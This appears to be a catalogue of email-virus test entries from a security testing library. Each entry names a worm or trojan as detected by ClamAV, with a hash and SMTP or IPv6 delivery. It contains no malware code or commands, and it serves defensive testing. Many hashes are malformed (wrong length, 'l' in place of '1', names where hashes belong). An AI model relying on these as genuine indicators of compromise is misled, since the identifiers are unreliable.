Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26805de2b66a154bff6be0c50631779. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Orkiz.1.a2eb64ae.xml
Executive Description:	Email Virus Worm.Orkiz.1
Detailed Description:	This is the email virus Worm.Orkiz.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2eb64ae5de370e74301c5400df85d00. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Backdoor.Rustock.B.0dace309.xml
Executive Description:	Email Virus Backdoor.Rustock.B
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dace30934e7435a78140bc4bcl9ed30. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Rodybot.90163da0.xml
Executive Description:	Email Virus Worm.VBS.Rodybot
Detailed Description:	This is the email virus Worm.VBS.Rodybot as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90163da04a5f5ba460fc29b7b6fa4755. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.0c402e86_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c402e86c12e519f41f2b6e0b77elf60. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.8eb3cf7b.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb3cf7bdbaaabe88f05c60b7b92d9c0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SysClock.f0c88112_IPv6.xml
Executive Description:	Email Virus Worm.SysClock (IPv6 Version)
Detailed Description:	This is the email virus Worm.SysClock as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c881121393713e27cd8f35aaae0cfa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pleh.55cde934.xml
Executive Description:	Email Virus Worm.VBS.Pleh
Detailed Description:	This is the email virus Worm.VBS.Pleh as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55cde934290e89ae29f92ff118b6280c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.c.c.5f4962a6.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.c.c
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Titel.B.14d74038_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Titel.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Titel.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14d74038941aba45e32e45e295ae7273. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.6a96c7fc_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6a96c7fca9ae43ff09f9edd2c86b7888. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Pahi.a.a.93e30cc0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Pahi.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Pahi.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Pahi.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Nyxem.E.nlc66904e_IPv6.xml
Executive Description:	Email Virus Nyxem.E (IPv6 Version)
Detailed Description:	This is the email virus Nyxem.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: lc66904ecb846da5b1fb2072f9ea6e0e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	VBS.Mesut.6955341a.xml
Executive Description:	Email Virus VBS.Mesut
Detailed Description:	This is the email virus VBS.Mesut as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6955341a7edd6675f6e8a79e2e33e287. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.J.4ec0004f_IPv6.xml
Executive Description:	Email Virus Worm.Petik.J (IPv6 Version)
Detailed Description:	This is the email virus Worm.Petik.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ec0004fb7f700df736ae4d3c2c22919. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AT.13497c6e_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AT (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AT as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13497c6e85bf4b50a8b34770148d6ae4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Newapt.f.f.03ab6973.xml
Executive Description:	Email Virus Email-Worm.Win32.Newapt.f.f
Detailed Description:	This is the email virus Email-Worm.Win32.Newapt.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newapt.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Likun.b.86e1de0e_IPv6.xml
Executive Description:	Email Virus Worm.Likun.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86e1de0efbe26db178ffa53ba0a109a2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Veka.19d67837_IPv6.xml
Executive Description:	Email Virus Worm.Veka (IPv6 Version)
Detailed Description:	This is the email virus Worm.Veka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 19d67837bleb1256596e35f18cbe7042. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.2cda519a_IPv6.xml
Executive Description:	Email Virus Worm.Mytob.S (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cda519a199aa9012fd4d7e16fce067a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.409066b0.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 409066b07c94329bbdb1bc94d560b0f3a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WORM.TheFly.402d5086_IPv6.xml
Executive Description:	Email Virus WORM.TheFly (IPv6 Version)
Detailed Description:	This is the email virus WORM.TheFly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 402d508688afaf9643924e3e33740dbe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Actem.act.0355dcc9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Actem.act (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Actem.act as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Actem.act. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Skudex.8102e9ee_IPv6.xml
Executive Description:	Email Virus Worm.Skudex (IPv6 Version)
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8102e9ee3fa5038d78e615fcfaf31e8b. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.FreeTrip.d.d.2a8a6ecc.xml
Executive Description:	Email Virus Email-Worm.Win32.FreeTrip.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.FreeTrip.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.FreeTrip.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.5e045198_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.d (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e04519844fdclf080ble8cl5f648753. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.aeacf455.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aeacf4552136015f2feb177f98c6eee2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LostGame.2849aeb5.xml
Executive Description:	Email Virus Worm.LostGame
Detailed Description:	This is the email virus Worm.LostGame as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2849aeb558799d3089432e3708576d8b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.e65d7ab6_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e65d7ab639a2361493d388e36dle663a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Krim.a.a.316113b7_IPv6.xml
Executive Description:	Email Virus Email-Worm.BAT.Krim.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.Krim.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Krim.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.dlb4f623.xml
Executive Description:	Email Virus Worm.Fbound.C
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dlb4f623a52c9defb4430ff585d5d41. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.VBSWG2.X.41cc548e.xml
Executive Description:	Email Virus VBS.VBSWG2.X
Detailed Description:	This is the email virus VBS.VBSWG2.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41cc548e66cfaf53e7a98b569f4b3dd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Qoma.A.9a5f3b48_IPv6.xml
Executive Description:	Email Virus VBS.Qoma.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Qoma.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a5f3b488aecd17a4263cf248fbd2323. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumar.p.p.7a645ce9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumar.p.p (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Dumar.p.p as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumar.p.p. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.g.g.49ca4c9a.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.g.g

Detailed Description:	This is the email virus Email-Worm.Win32.Predec.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.bdd4e8ab_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Yumao (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdd4e8ab9db0d5e79474cb50f1f0ebda. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.C.20a6688e_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Pahi.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Pahi.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20a6688ed7cf35334d5b28e51ca7a470. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Axam.d644fe97_IPv6.xml
Executive Description:	Email Virus Worm.Axam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Axam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d644fe97ade87da20d7010034df6c77a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Frethem.d.bb68fe35.xml
Executive Description:	Email Virus Worm.Frethem.d
Detailed Description:	This is the email virus Worm.Frethem.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb68fe3595983ad30028b506e1b88a08. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lindodia.lin.9796500e.xml
Executive Description:	Email Virus Email-Worm.Win32.Lindodia.lin
Detailed Description:	This is the email virus Email-Worm.Win32.Lindodia.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lindodia.lin. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Guorm.46042fdd_IPv6.xml
Executive Description:	Email Virus Worm.Guorm (IPv6 Version)
Detailed Description:	This is the email virus Worm.Guorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46042fdd55791a0b61e991c730db8d39. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zapchast.bb3dc04a_IPv6.xml
Executive Description:	Email Virus Worm.Zapchast (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zapchast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb3dc04a44b5daef36200420ecd5bfb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sircam.98b60c86_IPv6.xml
Executive Description:	Email Virus Worm.Sircam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98b60c865fd5071da9db959316ea95. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.de20b9d3.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de20b9d3df6863655fd090c43429aea. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Taz.78071c5d_IPv6.xml
Executive Description:	Email Virus Worm.Taz (IPv6 Version)
Detailed Description:	This is the email virus Worm.Taz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78071c5db7cf9c5687491387c735f400. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.470bb58a.xml

Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 470bb58a9bd7e58760ecec5c37e93f76. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.H.74e3e172.xml
Executive Description:	Email Virus Worm.Klez.H
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74e3e172fe55e10b36078c481b514a2d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.B.50611798_IPv6.xml
Executive Description:	Email Virus Worm.Lohack.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lohack.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5061179881266f9b47d2elf6ca96a647. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Kielhorn.17966efb_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Kielhorn (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Kielhorn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17966efb88a79d14461438e48c36140c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.B.6348862c.xml
Executive Description:	Email Virus Worm.VBS.Frido.B
Detailed Description:	This is the email virus Worm.VBS.Frido.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6348862cb0baffc0cdd595876a90aeel. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.4613a17f.xml
Executive Description:	Email Virus Worm.Gibe.B
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4613a17f12531d21c683023ffa4b4a34. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.MTX.5a9f01d0.xml
Executive Description:	Email Virus W32.MTX
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a9f01d09c06d894812bcb6863b0e36a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bajar.C.9a403d20.xml
Executive Description:	Email Virus Worm.Bajar.C
Detailed Description:	This is the email virus Worm.Bajar.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a403d2004ca4d23860c0b248fd2191a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Urbe.a.c3891f3d_IPv6.xml
Executive Description:	Email Virus Worm.Urbe.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Urbe.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3891f3d28a0a46fa6abee6d5ada947. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Y.5d7c0dc3.xml
Executive Description:	Email Virus Worm.SomeFool.Y
Detailed Description:	This is the email virus Worm.SomeFool.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7c0dc34fca6897fb64248580cdfcf9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Suppl.sup.ac725bab_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Suppl.sup (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Suppl.sup as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Suppl.sup. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.IRCGen.YuS.2.299d0734.xml
Executive Description:	Email Virus Worm.IRCGen.YuS.2
Detailed Description:	This is the email virus Worm.IRCGen.YuS.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 299d073415dc002abca5b1355af09664. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.7fc0a19a_IPv6.xml
Executive Description:	Email Virus W32.Ultratt.gz (IPv6 Version)
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7fc0a19adafcc768c7134bd53bb9333f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lucky.B.434b21e6_IPv6.xml
Executive Description:	Email Virus Worm.Lucky.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lucky.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 434b21e61d2e8d6868e2a01f5be98150. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.i.i.b1983ab0.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.i.i
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ciosor.cio.ab0647ba.xml
Executive Description:	Email Virus Email-Worm.Win32.Ciosor.cio
Detailed Description:	This is the email virus Email-Worm.Win32.Ciosor.cio as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ciosor.cio. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hobex.hob.6490b29e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hobex.hob (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hobex.hob as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hobex.hob. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.D1.42080bde_IPv6.xml
Executive Description:	Email Virus Worm.Brit.D1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.D1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42080bde5d3bcf177324f34961ff6f2b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Antites.cdl5440a.xml
Executive Description:	Email Virus Worm.Antites
Detailed Description:	This is the email virus Worm.Antites as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cdl5440a7c4a6668349e3fe6232a956a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.03.f3680ee3_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.03 (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.03 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3680ee3f10aec63ac22b5ee21235b88. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Reg.6bad8d09.xml
Executive Description:	Email Virus Worm.Reg
Detailed Description:	This is the email virus Worm.Reg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6bad8d097f96a98b45acd13edcf84330. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2cc4a4ac.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cc4a4ac5baeec223f3a88809b333b3c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Lee.C.e2258b28.xml
Executive Description:	Email Virus Worm.Lee.C
Detailed Description:	This is the email virus Worm.Lee.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2258b286f63d0acf39bb06a4fb44815. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Largepile.fb31972b.xml
Executive Description:	Email Virus Worm.Largepile
Detailed Description:	This is the email virus Worm.Largepile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb31972bb1bbf4254481606cf82dd535. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lentin.b.b.3b0b3d1f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lentin.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lentin.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lentin.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.203f63fb.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 203f63fbd9a4139ce8fc8fb6c07b98b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.20650c59_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20650c59258c9a25526ec65b9d1fba9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.sig.5f855666.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.sig
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.sig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.sig. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BugBear.B.c5592458_IPv6.xml
Executive Description:	Email Virus Worm.BugBear.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.BugBear.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c559245877a6211e15d2d7eecbb97f14. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.0ff61a81.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ff61a8168b587e026ed448a4884b0e3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d17c5406.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d17c5406aeb8f24cf728b3f6ad3c4e3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kitro.E.16678a86.xml
Executive Description:	Email Virus Worm.Kitro.E
Detailed Description:	This is the email virus Worm.Kitro.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 16678a863f718eb7d643a89403228470. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.D1.42080bde.xml
Executive Description:	Email Virus Worm.Brit.D1
Detailed Description:	This is the email virus Worm.Brit.D1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42080bde5d3bcf177324f34961ff6f2b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.b.b.e62e5ce6.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.b.b
